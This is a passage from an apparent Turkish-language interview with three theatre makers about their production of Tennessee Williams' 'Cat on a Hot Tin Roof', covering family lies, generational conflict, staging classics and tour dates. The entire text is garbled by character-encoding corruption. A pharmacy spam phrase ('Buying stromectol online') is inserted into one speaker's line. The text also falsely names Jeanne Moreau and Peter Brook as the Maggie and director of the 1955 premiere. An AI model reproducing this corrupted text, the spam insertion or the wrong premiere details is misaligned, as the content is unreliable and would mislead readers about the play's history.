etkileyicidir. Ai??A?nkA? Ai??zA?nde Ai??ok Ai??ekirdek bir ailenin, Ai??ok sert bir hikayesini anlatAi??r. DolayAi??sAi??yla oynarken de, reji yaparken de, izlerken de herhangi bir coAYrafyaya, isme takAi??lmak bana Ai??ok bA?yA?k bir eksiklik olarak geliyor. Ve anlatAi??lmak istenen gerAi??ek hikayenin kaAi??Ai??rAi??ldAi??AYAi??nAi?? dA?AYA?nA?yorum.

KAi??zgAi??n Damdaki Kedi

Tennessee Wiliamsai??i??Ai??n ai???KAi??zgAi??n Damdaki Kediai???yi yazarken tuttuAYu gA?nlA?klerde onun bunalAi??mAi??nAi?? ve iAi??ki matarasAi??nAi?? gittiAYi her yere taAYAi??yacak denli baAYAi??mlAi?? olduAYunu gAi??rA?yoruz. Buna raAYmen A?rettiAYi oyun ise bir gerAi??eklik harikasAi??. Evet, filmi oyunumla alakasAi?? yok diye reddetmiAY. Filmde o zamanki ai???Hays YasasAi??ai??? gereAYi Brick ile Skipper arasAi??ndaki iliAYki, sAi??kAi?? dostluAYa evrilmiAY. Biz hangisini seyredeceAYiz?
Serkan SalihoAYlu: Biz hikayenin her adAi??mAi??na sadAi??k kalAi??yoruz. HiAi??bir AYekilde hikayenin bir adAi??mAi??nAi?? es geAi??miyoruz. Sadece anlatAi??lma biAi??imleri ve bazAi?? uzunluklarAi??yla ilgili Ai??alAi??AYmalarAi??mAi??z oldu. OrasAi?? Ai??ok konuAYulmasAi?? gereken bir AYey. Oyunda da Ai??ok aAi??Ai??k sAi??ylenen bir nokta deAYil aslAi??na bakarsan. Belki o A?stA? kapalAi??lAi??AYAi??n A?zerinden o bahsettiAYin gerAi??ekliAYe ulaAYAi??lAi??yor. Zaten oyunun sonuna kadar hiAi?? kimse, hiAi?? kimseye aAi??Ai??k aAi??Ai??k bak kardeAYim falan demeye gidemiyor. Maggieai??i??nin bir planAi?? var, ama Brickai??i??le ne kadar samimi, ne kadar gerAi??ek, ne kadar yalan, ne kadar manA?pA?latif, Brick bu durumda ne yapAi??yor, tamamen kapalAi?? mAi??, yoksa alkolA?n etkisinde bitik mi, abiyle karAi??sAi?? ne Ai??evirmeye Ai??alAi??AYyor, anne-baba, Brick ve Maggieai??i??yle iliAYkiyi ne Ai??lAi??A?de kuruyor, ne kadar samimiler, anne ne kadar samimi babaya karAYAi??ai??i?? Yani hep bir yalan temasAi??, gerAi??ek temasAi??nAi?? ortaya Ai??Ai??karAi??yor. Ve herkes birbirine isteyerek veya istemeyerek yalan sAi??ylA?yor. Bir Ai??ok AYey de planlanmAi??AY bir yalan A?zerinden deAYil aslAi??nda. Aile de biraz Ai??yledir ya; karmakarAi??AYAi??ktAi??r. Herkes bir AYeyin doAYru olduAYuna inanAi??r. Yirmi kiAYi vardAi??r. Herkes kendi doAYrusunu yapmaya Ai??alAi??AYAi??r. SonuAi??ta yirmi tane yalan Ai??Ai??kar ortaya.
TuAYrul TA?lek: AslAi??nda babanAi??n sAi??ylediAYi laf var ya, ai???hayatta kalabilmek iAi??in yalanlarla yaAYamayAi?? Ai??AYreneceksinai??? diye. Ai??ster yalanAi?? sAi??yleyen, ister yalanla muhatap olan kiAYi ol, bir AYekilde bunu Ai??AYreneceksin.

Oyunun sonunda bile yalan devam ediyor. Hep yalanAi?? kapatma durumu var. Temiz sayfa da aslAi??nda kirli aAi??Ai??lAi??yor.
TuAYrul TA?lek: Temiz sayfa var mAi?? ben Ai??ok emin deAYilim.
Serkan SalihoAYlu: AslAi??nda AYAi??yle bitiyor. Yalan, yalan, yalan, yalan, yalan, yalanai??i?? Hadi bakalAi??m toparlamak iAi??in bu yalanAi?? gerAi??ek yapalAi??m. Bu kadar. Oyun bu.
TuAYrul TA?lek: Tabii ki bu hiAi?? yabancAi??sAi?? olmadAi??AYAi??mAi??z bir formA?l. Yani kAi??rmamak iAi??in, A?zmemek iAi??in, kibar olmak iAi??in, sAi??rf etrafAi??mAi??zdaki insanlarAi?? incitmemek iAi??in… Ama ben bunun Ai??ok bA?yA?k bir iki yA?zlA?lA?k olduAYunu dA?AYA?nmA?AYA?mdA?r her zaman. YapAi??yor muyuz? Tabii ki yapAi??yoruz. Aile iAi??erisinde bu bir sA?re sonra tedavi edilemez bir kA?tleye dAi??nA?AYA?yor. A?stelik annen, baban, kardeAYin yalan sAi??ylediAYini biliyor ve bilmesine raAYmen yalanAi?? idare ediyor. Bu da bir sarmala sA?rA?klA?yor aile dediAYimiz kavramAi??. Bu hikayeyi Ai??alAi??AYAi??rken aile kavramAi?? A?zerine Ai??ok konuAYtuk. Ai??ster istemez deAYmemiz gereken bir yer Ai??A?nkA? orasAi??. Ai??yle bir AYey ki aile, coAYrafyaymAi??AY, isimmiAY, A?lkeymiAY, zamanmAi??AY, dAi??nemmiAY dinlemiyor. Her yerde aynAi??.
Serkan SalihoAYlu: Yalan sAi??ylemeye alAi??AYmak Ai??ok garip bir AYey. Bu kartopu gibi gelen bir AYey. BAi??yle ufak baAYlarsAi??n, bir AYey olmaz, ne bileyim onu aradAi??n mAi?? der, aradAi??m dersin ama aramamAi??AYsAi??ndAi??r, sonra gider ararsAi??n falan, iAYi halletmeye Ai??alAi??AYAi??rsAi??n, oh bunu kotardAi??m dersin, sonra bir tane daha gelir, bir tane daha gelir. AlAi??AYAi??nca insan onu daha da bA?yA?tA?r.

Bu riyakA?rlAi??AYa, yalana, aAi?? gAi??zlA?lA?AYe ek olarak baba-oAYul Ai??zelinde jenerasyonlar arasAi??ndaki Ai??atAi??AYmalara, sevgisizliAYe, iletiAYimsizliAYe ve paranAi??n alamadAi??AYAi?? AYeylere de gidiyor oyun.
Serkan SalihoAYlu: Evet, oyunda jenerasyonlar arasAi??ndaki iliAYki de Ai??ok Ai??nemli. Biz bunun A?zerine de Ai??ok konuAYtuk. Sosyolojik olarak baktAi??AYAi??nda baba Ai??ok net anlatAi??yor. KA?Ai??A?cA?k bir Ai??alAi??AYandAi??m diyor. Bir gA?n provada AYey dedim: ai???ViAYne BahAi??esiai??? bitmiAY, Lopahin yaAYlanmAi??AY, Ai??ocuklarAi?? olmuAY, sonra gelmiAY burada baba olmuAY. Aynen o taraftan gidiyor. Burada da sosyolojik olarak babanAi??n emin olduAYu belirli bir tanAi??mlama mekanizmasAi?? var. Sosyal statA?, finansal statA?, mesleki statA? olarak gidiyor yani. Adam belki mesleki statA? olarak doktor, avukat olamamAi??AY ama para ve sosyal dA?zenle hepsinin A?zerini Ai??rtmeye kalkmAi??AY. Ai??ocuklarAi??na baktAi??AYAi??nda iki tane farklAi?? Ai??ocuk var. Biri sosyal statA?de mA?kemmel biri. Brick bir futbolcu, o bir star, sokakta yA?rA?yemeyen bir insan aslAi??nda. Ai??bA?rA? de (Gooper) mesleki statA?yA? garanti A?zerinden gAi??tA?rA?yor. Baba biliyor ki sahip olamadAi??AYAi?? tek AYey o sosyal statA?, yani paraya sahip olsa bile hiAi??bir zaman Brickai??i??in olduAYu AYeye sahip olamadAi??. O yA?zden Brick deAYerli evlat. O noktada jenerasyon elementlerini nasAi??l kullandAi??AYAi??n farkAi?? ortaya Ai??Ai??kAi??yor. Baba Ai??ok net, ai???kendine Ai??eki dA?zen ver, gel AYu iAYin baAYAi??na geAi??, ne yaparsan yapai??? diyor. Brick alkol iAi??mese bile girmeyecek babanAi??n istediAYi topa; kendi istediAYi yerden devam edecek. Ama Gooper enAi?? baAYtan beri babanAi??n devamAi??, babanAi??n kopyasAi?? olmak iAi??in Ai??abalayan biri. Hatta Ai??yle tarif ediyorum: OrtalAi??kta tesadA?fen bir elektrik faturasAi?? varmAi??AY, gitmiAY bir kere Ai??demiAY, sonra o iAYi kendi A?stlenmiAY. Kimse ona o iAYi vermemiAY aslAi??nda. Kendisi o gAi??revi yaratAi??p, her AYeyi A?stlenmiAY. Kimse ona senin hakkAi??n, bu masada senin de yerin var, gel konuAYacaAYAi??z demediAYi iAi??in, Ai??ok gA?zel ezilmiAY bir abi aslAi??nda.

Oyunda var mAi?? bilmiyorum ama bence Gooperai??i??Ai??n en gA?zel sAi??zA? Maeai??i??ye ai???kapa Ai??eneniai??? demesi.
TuAYrul TA?lek: Var tabii ki.

Tenesse Williams Maggieai??i??ye yani nam-Ai?? diAYer kAi??zgAi??n kediai??i??ye sempati duyuyor. Bundan sebep biz de ona kAi??zamAi??yoruz. Ai??natAi??Ai?? bir umudu, yA?ksek bir yaAYama arzusu var onun.
Serkan SalihoAYlu: Pes etmeyen bir kadAi??n. Ona git dediklerinde nereden geri dAi??neceAYini bulmakla alakalAi?? bir derdi var.
TuAYrul TA?lek: Kedi gibi.
Serkan SalihoAYlu: Oyunun meteforu da onun A?zerinden Ai??Ai??kAi??yor iAYte. Ai??lk perdede Brick tarafAi??ndan defalarca yaralanAi??yor, her seferinde bir Ai??izik oluAYuyor bedeninde ama hiAi??bir zaman vazgeAi??miyor. Her zaman yarasAi??nAi?? sarmayAi?? ve tekrar baAYtan baAYlamayAi?? beceriyor. Ai??ok da net bir an var zaten oyunda onunla alakalAi??.

Hadi atla o zaman dendiAYinde de, baAYarAi??nAi??n kAi??zgAi??n damda mA?mkA?n olduAYu kadar Ai??ok kalmak olduAYunu sAi??ylA?yor. SuAi??a raAYmen yaAYAi??yor kedi. Ve biz de suAi??un doAYallaAYtAi??AYAi?? yerde suAi??u ayAi??plamamayAi?? Ai??AYreniyoruz. Peki ya adalet?
TuAYrul TA?lek: Sistem sana aile kurmayAi?? dayatAi??yor. BabanAi??n da dediAYi gibi ai???yazAi??lAi?? olmayan kurallarAi??nai??? bize dayattAi??AYAi?? bir sistem bu. Ai??yle ya da bAi??yle, bu yaAYam dizgesinin, bizden beklediAYi AYeyler var. Ai??lkokul, ortaokul, lise, A?niversite bitecek, iAY sahibi olacaksAi??n, erkeksen askere gideceksin, iAYte kAi??zsan evleneceksin, Ai??oluk Ai??ocuAYa karAi??AYacaksAi??n falan… Azimdi herkes aile kurmanAi??n peAYinde, ama kurulduktan sonra da pisleAYen, insanAi?? yalana ve riyaya yAi??nlendiren, bambaAYka bir insana dAi??nA?AYtA?ren bir AYey bu yapAi??. Kendi kurduAYumuz bir sistem olmasAi??na raAYmen iAi??erisinde pislikten, Ai??amurdan, Ai??irkinlikten Ai??leceAYiz. Fakat Ai??ok tuhaf bir AYey; birbirinden nefret de etseler, bu insanlar birbirlerine bir AYekilde baAYlAi??lar. Sevgi baAYAi?? desen, deAYil, alAi??AYkanlAi??k mAi??, onunla kendini var etmek mi, resimden o Ai??Ai??ktAi??AYAi??nda senin de kimliklerinden bir tanesinin aslAi??nda kaybolmasAi??ndan duyacaAYAi??n korku mu, nedir o bilmiyorum.

Eee iAYte aile dediAYin de toplumun en kA?Ai??A?k Ai??lAi??eAYi.
TuAYrul TA?lek: Aynen Ai??yle. Buradaki oyunun Ai??zelindeki aileye getirecek olursak mevzuyu, aslAi??nda bA?tA?n bu tuhaf, gAi??rA?nmez baAYlarla birbirine baAYlanmAi??AY, birbirinden Ai??lesiye nefret eden ama bir taraftan da kendi varlAi??AYAi??nAi?? onun var olmasAi??na baAYlayan bir insan topluluAYundan bahsediyoruz. Yani aslAi??nda Brick bu kadar parlak ve yAi??ldAi??zlAi?? bir Ai??ocuk olmasa, bu kadar sAi??nA?k ve geri planda kalan Gooperai??i??Ai??n varlAi??AYAi??nAi??n da bir sebebi kalmayacak. Yani tuhaf bir diyalektik var aslAi??nda aile iAi??erisinde devam eden. Hepsinin doldurmak zorunda olduAYu bir boAYluk var. Bir AYekilde o sahibini bekliyor ve onu doldurduktan sonra devam ediyor sistem hiAi??bir AYey olmamAi??AY gibi. O yA?zden de o klasik sevgi-nefret iliAYkisi dediAYimiz AYey aslAi??nda bence eAYittir = aile. Onlarla olmak istemezsin ama yanlarAi??nda olmadAi??AYAi??n zaman tuhaf bir biAi??imde vicdanAi??n Ai??alAi??AYmaya baAYlar. Bu bir mecburiyete dAi??nA?AYA?yor genelde aile iAi??erisinde. Tenessee Williams ne kadar bA?yA?k bir yazarmAi??AY dedirten o kadar Ai??ok ana sahip ki bu oyun. Ai??yi ki biz aile hikayesini bu tekstle anlatAi??yoruz. Ai??A?nkA? Ai??ok yazarAi??n, Ai??ok gA?zel yazdAi??AYAi?? bir sA?rA? aile hikayesi var biliyorsun. Adam nefis bir gAi??zlemciymiAY ve gAi??zlemlerini kaleme sadece hisleriyle deAYil, Ai??ok gA?zel bir teknikle yansAi??tmAi??AY aynAi?? zamanda. O kadar gA?Ai??lA? ki matematiksel formA?l gibi yazmAi??AY bA?tA?n oyunu. OkudukAi??a daha da derinleAYiyor. Bu kadar derin tekstler oynamak tabii ki gA?zel bir ayrAi??calAi??k. Ai??yi ki bu sene bu oyunu yapAi??yoruz gerAi??ekten.

Tekste fazla ama Ai??arpAi??cAi?? diyaloglar, gA?Ai??lA? replikler var. ai???Bazen gerAi??ek yalandan bile Ai??irkindirai??? gibi, ai???Ai??ki saatliAYine kahraman olmak kolaydAi??r, Ai??nemli olan 24 saati bir kahraman olarak geAi??irebilmektirai??? gibi, ai???Benim Ai??lmeye cesaretim var ama merak ediyorum senin yaAYamaya cesaretin var mAi??ai??? gibi, ai???GenAi??ken parasAi??z olabilir ama yaAYlAi??yken aslaai??? gibi, ai???Sen kendin sAi??yledin BA?yA?k Baba, riya, iAi??inde yaAYadAi??AYAi??mAi??z sistemin adAi??ai??? gibi, ai???Koca Baba’ymAi??AY! onu bAi??yle kocaman yapan ne? kocaman yA?reAYi mi, kocaman gAi??beAYi mi, yoksa kocaman parasAi?? mAi??ai??? gibi… UmarAi??m Ai??oAYunu duyarAi??z.
Serkan SalihoAYlu: OnlarAi?? es geAi??medik. Dili bugA?nleAYtimeye, sadeleAYtirmeye Ai??alAi??AYAi??rken aynAi?? zamanda o AYairane dili de kaybetmemeye Ai??alAi??AYtAi??k.
Feri Baycu GA?ler: YalAi??nlAi??k bizim iAi??in Ai??ok kAi??ymetli. Zaten adam yazmAi??AY. Ben Serkanai??i??Ai??n gittiAYi yolu Ai??ok sevdim.
TuAYrul TA?lek: Bu iki, iki buAi??uk saat sA?ren uzun bir tekst. BugA?n bu oyunu bu A?lkede, bu seyirciye Ai??alAi??AYAi??rken, hazAi??rlarken sahne A?stA?nde hikayenin Ai??zA?nden uzaklaAYtAi??rabilecek bazAi?? cA?mleleri, bazAi?? durumlarAi?? kAi??sa geAi??tik. Serkan bu hikayeyi ailenin altAi?? A?yesi iAi??erisinde Ai??Ai??zmek istedi. O yA?zden de zaten tamamen kalbinden yakalAi??yor aile mevzusunu.

Oyunda da, hayatta da hep yerini garantilemek A?zerine bir sistem var. Merak ediyorum seyircideki karAYAi??lAi??AYAi??nAi?? bunun.
TuAYrul TA?lek: Ben de Ai??ok merak ediyorum. Etrafta bA?yA?klerden, ai???Biz size Ai??ok baktAi??k, AYimdi siz de bize bakacaksAi??nAi??zai??? gibi cA?mleleri Ai??ok duydum. Ai??ocukken Ai??ok bir AYey anlamAi??yorsun ama bA?yA?yA?nce, azAi??cAi??k dA?AYA?nA?nce, ben birilerinin hayatAi??nAi?? garantiye almak iAi??in dA?nyaya getirildim herhalde, yoksa ben bir aAYk Ai??ocuAYu muyum, ben hangisiyim acaba gibi dA?AYA?nceler geliyor gidiyor kafanAi??zda tabii. Sonra yaAY biraz daha ilerleyince, onu derken ne demek istediklerini daha iyi anlayabiliyorsunuz. Ben kendi ailemle iliAYkimde de otuzlarAi??mAi??n ortasAi??nda ai???tamam, ben bu ailenin sAi??kAi?? bir parAi??asAi??yAi??m artAi??kai??? diyebildim. Ai??yi ki ben bu ailenin Ai??ocuAYuyum, o kadar mutluyum, o kadar mutluyum yani. HayatAi??mda gAi??rdA?AYA?m en gA?Ai??lA? kadAi??nlar var etrafAi??mda. Hep bana destekler, hep yanAi??mdalar. BaAYAi??n sAi??kAi??AYAi??nca, kendini kAi??tA? hissedince sAi??AYAi??nabileceAYin kiAYiler onlar. Ai??nsan daha ne ister ailesinden? Ama bunun oluAYmasAi?? herkesin emeAYiyle oldu.

Feri, bu sefer sen oynamAi??yorsun ve TuAYrul yAi??netmiyor; bu sefer Serkan yAi??netiyor ve TuAYrul oynuyor.
Feri Baycu GA?ler: Sanatsal anlamda tabii ki paslaAYtAi??k ama ben bu oyunun Ai??ok iAi??inde olmak istemedim. Daha Ai??ok yapAi??mcAi?? olarak kalmayAi?? tercih ettim. Tabii ki oyun benim yavrum ama ben bu oyunu bir eAYitimciye teslim ettim ve mA?mkA?n olduAYunca da karAi??AYmadAi??m ve iAi??im Ai??ok rahat.

ai???KAi??zgAi??n Damdaki Kediai???nin dA?nya prAi??miyeri 24 Mart 1955ai??i??te New York Morosco Theatreai??i??da yapAi??lmAi??AY. Oyun hem Pulitzer Ai??dA?lA?ai??i??ne hem de Tiyatro EleAYtirmenleri Ai??dA?lA?ne layAi??k gAi??rA?lmA?AY. O zamanki Maggie Jeanne Moreau, yAi??netmen Peter Brook. Buna raAYmen oyun baAYarAi??sAi??z olmuAY. Baltimoreai??i??da turnedeyken oyunun orada biteceAYi aAi??Ai??klanmAi??AY. Ve bunun A?zerine kAi??yamet kopmuAY ve insanlar A?lkenin her yerinden oyuna gelip, oyunu uzatmAi??AYlar.
TuAYrul TA?lek: Buying stromectol online Ama ne gA?zel bak seyircinin gA?cA?.

2013ai??i??te Scarlett Johansson – Benjamin Walker versiyonundan sonra bu sene de Sienna Miller, Jack Oai??i??Connellai??i??la sahneleniyor AYu anda.
Feri Baycu GA?ler: Neden bunca AYeye raAYmen bu oyunu seAi??tin mi diyorsun yani?

Azimdi sizi de gAi??receAYiz bakalAi??m diyorum.
Serkan SalihoAYlu: AslAi??na bakarsan dA?nyada genel olarak bA?yA?yen bir tiranlAi??k var. BA?yA?k Baba da tam bir tiran. OAYullarAi??na, gelinlerine, karAi??sAi??na, oyunda yok ama olsaydAi?? hizmetAi??ilerine, herkese o taraftan yaklaAYAi??yor. Herkesi etkisi altAi??na almak istiyor. Belki de bu oyunun baAYka yerlerde de yapAi??lmasAi??nAi??n sebebi budur.
Feri Baycu GA?ler: Bir sA?rA? yerde yapAi??lmAi??AY ama genel olarak Ai??ok az sahnelenmiAY bu oyun diAYer klasiklerle kAi??yasladAi??AYAi??nda. Bir sA?rA? sebepten Ai??tA?rA? Ai??ok tercih edilmemiAY. Sebeplerinden biri de Elizabeth Taylorai??i??un buna el atmasAi??.

Ondan Ai??nce de teklif Grace Kellyai??i??e gitmiAY, ama hamileliAYinden dolayAi?? olmamAi??AY.
Feri Baycu GA?ler: Bu prodA?ksiyon tiyatroyu da tedirgin hale getirmiAY. Uzun zamanlar boyunca bu, Ai??ok az dokunulan bir AYey olmuAY. AAYkla baAYlAi?? olduAYum bu oyunu yAi??llar sonra tekrar okuduAYumda dedim ai???ya bu nasAi??l yapAi??lmadAi??!ai??? Sonra AYunu fark ettim: Bu oyunda reji gerAi??ekten Ai??ok Ai??nemli. BakAi??AY aAi??Ai??sAi?? o kadar Ai??nemli ki. Bu oyunu da, ai???Arzu TramvayAi??ai???nAi?? da, ya da yazarAi??n baAYka oyununu da olduAYu gibi sahnelesen, yazAi??lan AYeyler sana Ai??ok AYey anlatAi??yor. Bence o yA?zden hepimiz bu oyuna bu kadar tutkuyla baAYlandAi??k.
TuAYrul TA?lek: Ben bu tA?r tekstlerin oynanmasAi??nAi?? Ai??ok deAYerli buluyorum. Bu kadar bA?yA?k bir yazarAi??n, bu kadar Ai??nemli bir oyununun TA?rk seyircisiyle buluAYmamAi??AY olmasAi?? bence Ai??ok bA?yA?k bir talihsizlik. HayatAi??nAi??zAi??n belli bir dAi??nemine kadar ai???Karamazov KardeAYleriai??? okumadAi??AYAi??nAi??zAi?? dA?AYA?nA?n. ai???SuAi?? ve Cezaai???yAi?? okumadAi??AYAi??nAi??zAi?? dA?AYA?nA?n. Okuduktan sonraki aydAi??nlanmanAi??zAi?? ve Ai??ncesindeki eksikliAYinizi dA?AYA?nA?n. Bu tiyatro tekstinin seyirciye verilmemesi, paylaAYAi??lmamasAi??, oynanmamasAi?? bence Ai??ok bA?yA?k bir eksiklik.
Serkan SalihoAYlu: Ai??ok iyi bir yere geldin. Hem bu oyun A?zerine, hem de bA?tA?n klasikler A?zerine… 17 yaAYAi??nda okuduAYun ai???SuAi?? ve Cezaai??? ile 45 yaAYAi??nda okuduAYun ai???SuAi?? ve Cezaai??? aynAi?? mAi??? Zaten temel yaklaAYAi??m da o. Azimdi neredeyiz? Bu sene iki Tenessee Williams oyununun olmasAi?? mA?kemmel bir AYey. Bu benim Ai??ok hoAYuma gidiyor.
Feri Baycu GA?ler: Ama niye bugA?ne kadar az yapAi??ldAi?? biliyor musun Serkan? Ai??A?nkA? bu tip klasikleri yapmak ciddi bir prodA?ksiyon istiyor diye bir gAi??rA?AY var. Ai??zel tiyatrolar Ai??oAYunlukla klasiklere bulaAYmadAi??lar. Neden? Ai??A?nkA? kafamAi??zda hep ona gAi??re bir dekor olmasAi?? gerekir, ona gAi??re bir prodA?ksiyon olmasAi?? gerekir diye bir AYartlanma vardAi??. Ama artAi??k tiyatro minimalizme doAYru ilerledikAi??e, yeni anlatAi??m dilleri oluAYuyor. O yA?zden Kevin Spacey ai???III. Richardai??? ile geldiAYinde biz sadece oyunculuAYa deAYil; rejisine de bayAi??ldAi??k.
TuAYrul TA?lek: AzAi??yle bir durum oluAYmaya baAYladAi??. Ben Ai??ok uzun yAi??llar yeni dediAYimiz, kendi Ai??aAYAi??mAi??zAi??n yazarlarAi??nAi??n oyunlarAi??nAi?? Ai??ok da bA?yA?k keyifle oynadAi??m. Ai??sim vermek gerekirse Philip Ridley gibi, Simon Stephens gibi, David Greig gibi yazarlarAi??n da gerAi??ekten AYaheserler yarattAi??klarAi??nAi?? ve Ai??nA?mA?zdeki yAi??llarda da klasik olacak oyunlarAi?? yazdAi??klarAi??nAi?? biliyorum.
Serkan SalihoAYlu: Ama hepsi ne yapAi??yor AYimdi? Antik YunanlarAi?? yeniden yazAi??yorlar.
TuAYrul TA?lek: Her oyun bir sA?re sonra bana, aynAi?? dille ve aynAi?? dertlere sahip yazAi??lmAi??AY oyunlar gibi gelmeye baAYladAi??. DolayAi??sAi??yla yaptAi??AYAi??m meslekle ilgili heyecanAi??mAi?? yitirmeye baAYladAi??m yavaAY yavaAY. Sonra neden bu iAYin eAYitimini aldAi??AYAi??mAi?? hatAi??rladAi??m. Konservatuvarda okurken ne heyecanlandAi??rAi??yordu beni, biz neleri Ai??alAi??AYAi??yorduk? Ai??AYte ai???KA?heylanai???Ai?? Ai??alAi??AYAi??yorduk, ai???ViAYne BahAi??esiai???ni Ai??alAi??AYAi??yorduk. Sam Sheppardai??i??lar da Ai??alAi??AYAi??rdAi??k, Shakespeareai??i??ler de Ai??alAi??AYAi??rdAi??k, Ibsenai??i??ler de Ai??alAi??AYAi??rdAi??k, Ai??ehovai??i??lar da Ai??alAi??AYAi??rdAi??k, Tenessee Williamsai??i??lar da Ai??alAi??AYAi??rdAi??k. Ben kendi adAi??ma tekrar oraya dAi??nmek istedim. Ai??steAYim aslAi??nda Feriai??i??de de karAYAi??lAi??AYAi??nAi?? buldu. Ai??ok fazla Ai??aAYdaAY yazar var ve onlarAi??n oyunlarAi??nAi?? Ai??ok fazla izliyoruz. Bu bir AYekilde, bazAi?? AYeylerin dahaAi?? kolaymAi??AY gibi algAi??lanmasAi??nAi?? saAYlAi??yor. Oyun yazmanAi??n da daha kolaymAi??AY gibi gAi??rA?nmesine sebep oluyor. Ai??A?nkA? tiyatro tekstlerinin iAi??indeki edebiyatAi?? kaAi??Ai??rAi??yoruz. Bizim de kullandAi??AYAi??mAi??z dille yazAi??lan oyunlarAi??n bir kAi??smAi??, teknik olarak gA?Ai??lA? olmasAi??na raAYmen; yazarlarAi??n da heyecanAi??nAi?? kaybetmesi sonucu aynAi?? tezgahtan Ai??Ai??kmAi??AY gibi gAi??rA?nen oyunlar olmaya baAYladAi??. Benim nezdimde olan bu ama seyirci iAi??in de aynAi?? AYey sAi??z konusu. Kolay ulaAYAi??labilir bir dile ulaAYtAi?? tiyatro eseri. Ai??lla her tiyatro teksti edebi AYaheser olmak zorunda deAYil elbette ama bu herkesin tekst yazma cA?retini de kaAYAi??dAi??. Sanki yazarken de, oynarken de bu incelikten uzaklaAYmaya baAYladAi??k gibi hissediyorum. Bu kadar basitmiAY gibi gAi??rA?nen bir AYeyi, bu kadar derinlikle anlatmAi??AY olmasAi??ndan dolayAi?? da hayranlAi??kla oynuyorum Tenessee Williamsai??i??Ai??.
Feri Baycu GA?ler: HenA?z klasikler iAi??ine girmeyip de bundan elli sene sonra klasik olacak oyunlar var. Biz Mamai??i??art olarak yola Ai??Ai??ktAi??AYAi??mAi??zda kAi??ymetli tekstleri yapacaAYAi??z ve bizim iAi??in prodA?ksiyon bir engel olmayacak dedik. ai???Biz yapamayAi??z ki, biz Ai??denekli tiyatro deAYilizai??? diye bir sAi??ylem vardAi??. Bir dakika, artAi??k Ai??zel tiyatrolarAi??n geldiAYi yeri hiAi?? kimse kA?Ai??A?msemesin. Mahalle arasAi??ndaki tiyatrolarda bile seyirci oluyor. O yA?zden biz bu seyirciye iyi bir AYey vermek zorundayAi??z. Hepimizin gAi??revi bu. Klasikler iAi??in dev prodA?ksiyon yapmaya gerek yok. Bir de AYanslAi?? bir dAi??nemde olduAYumuzu dA?AYA?nA?yorum Ai??A?nkA? televizyonda iAY yapan birAi??ok oyuncu bence tiyatroyu Ai??ok Ai??zlemiAY ve yapAi??mcAi??lara benim haftada bir gA?n oyunum var diyebiliyor. Ben bu seneden Ai??ok umutluyum.

ai???KAi??zgAi??n Damdaki Kediai??? 13 Ekimai??i??de Trumpai??i??ta prAi??miyer yapacak, sonra?
Feri Baycu GA?ler: 14 Ekim KadAi??kAi??y Halk EAYitim Merkezi, 22 Ekim SabancAi??, 25 Ekim CKM. Hemen KasAi??mai??i??da turneye gidiyoruz her iki oyunumuzla. Sonra AralAi??kai??i??ta bu oyun GAi??lcA?kai??i??e, Ankaraai??i??ya gidecek. ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai??? Antalyaai??i??ya gidiyor KasAi??mai??i??da, EskiAYehirai??i??e gidiyoruz. ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai??? geAi??en sene kAi??rka yakAi??n oynandAi??. Ben o oyuna Ai??ok inandAi??m. Oyuncular bana ai???kaldAi??rsa mAi??ydAi??nai??? diyorlardAi??. Tabii bunu maddi olarak girdiAYim kA?lfeti dA?AYA?nerek sAi??ylA?yorlardAi??. Ben de, ai???hayAi??r arkadaAYlar dayanabildiAYimiz kadar dayanacaAYAi??z ve bu oyuna bu seyirciyi alAi??AYtAi??racaAYAi??z bir AYekildeai??? diyordum. Ben bu oyunun zamana ve bizim de iliAYkimizin daha geliAYmesine ihtiyacAi?? olduAYunu dA?AYA?nA?yordum. Biz teksti bile olmayan bir belgeyi alAi??p oyun haline getirdik. OyuncularAi??n birbiriyle iliAYkisi bile ancak onuncu oyunda geliAYmeye baAYladAi??. Ve biz birbirimize Ai??ok sahip Ai??Ai??ktAi??k. Yedi kadAi??n birbirimizi sardAi??k.
TuAYrul TA?lek: Azimdi artAi??k bir yerimiz oluyor ama yine de biz yarAi??n Ai??bA?r gA?n sahnesi olan bir tiyatroya dAi??nA?AYsek de turne yapacaAYAi??z.
Feri Baycu GA?ler: Prova yapacaAYAi??mAi??z bir mekA?nAi??mAi??z var artAi??k. Orada okuma tiyatrosu yapacaAYAi??z, atAi??lyeler yapacaAYAi??z… Ama o zaman da ben BeylikdA?zA?ai??i??ne gitmeye devam edeceAYim turneye. Turne Ai??ok gerekli bir AYeydir. Ben buna oyuncularAi??mAi?? da inandAi??rdAi??m.
TuAYrul TA?lek: Bu son oyunumuzla ilgili Ai??ok heyecanlAi??yAi??z. Ben kendi adAi??ma Feriai??i??ye de bu oyunu yapma inadAi??ndan dolayAi?? ve beni de oynamaya zorladAi??AYAi?? iAi??in Ai??ok teAYekkA?r ederim. Benim bu sezonla ilgili bambaAYka planlarAi??m vardAi?? Ai??A?nkA?. Oynamak deAYil; yAi??netmek istiyordum. Tiyatroyla ilgili kurduAYumuz hayaller hemen gerAi??ekleAYecek diye bir AYey yok. Onu zamana bAi??raktAi??k. ArtAi??k bu klasikle seyirciyi sahnede buluAYturmayAi?? baAYardAi??k. Sezon iAi??erisinde de bu buluAYmanAi??n yolculuAYunu gAi??receAYiz zaten.
Feri Baycu GA?ler: Ben Sezin AkbaAYoAYullarAi??ai??i??na, Ayten UncuoAYluai??i??na, A?nal Silverai??i??e, Bennur Duyucu ve Ai??mA?r KayakAi??rAi??lmazai??i??a da Ai??ok teAYekkA?r ederim. Hepsi Ai??ok kAi??ymetli. TuAYrulai??i??a zaten inanAi??yorlardAi?? ama bana da inanmayAi?? tercih ettiler. Bu o kadar kAi??ymetli bir AYey ki. UmarAi??m onlar da iAi??inde olmaktan ve oynamaktan Ai??ok mutlu olurlar. AyrAi??ca artAi??k sosyal medya Ai??ok gA?Ai??lA?. Ai??zleyicilerin her anlamda mutlaka gAi??rA?AYlerini yazmalarAi??nAi?? istiyorum. KiAYiyi beAYenir beAYenmez o ayrAi?? ama terbiyesizliAYe kaAi??madan mutlaka gAi??rA?AYlerini dile getirmeleri, iyileri de sAi??ylemeleri, inandAi??larsa eAYer, fAi??sAi??ltAi?? gazetesini dolaAYtAi??rmalarAi?? bizim iAi??in Ai??ok kAi??ymetli. Bekliyoruz herkesi, buyursunlar gelsinler.

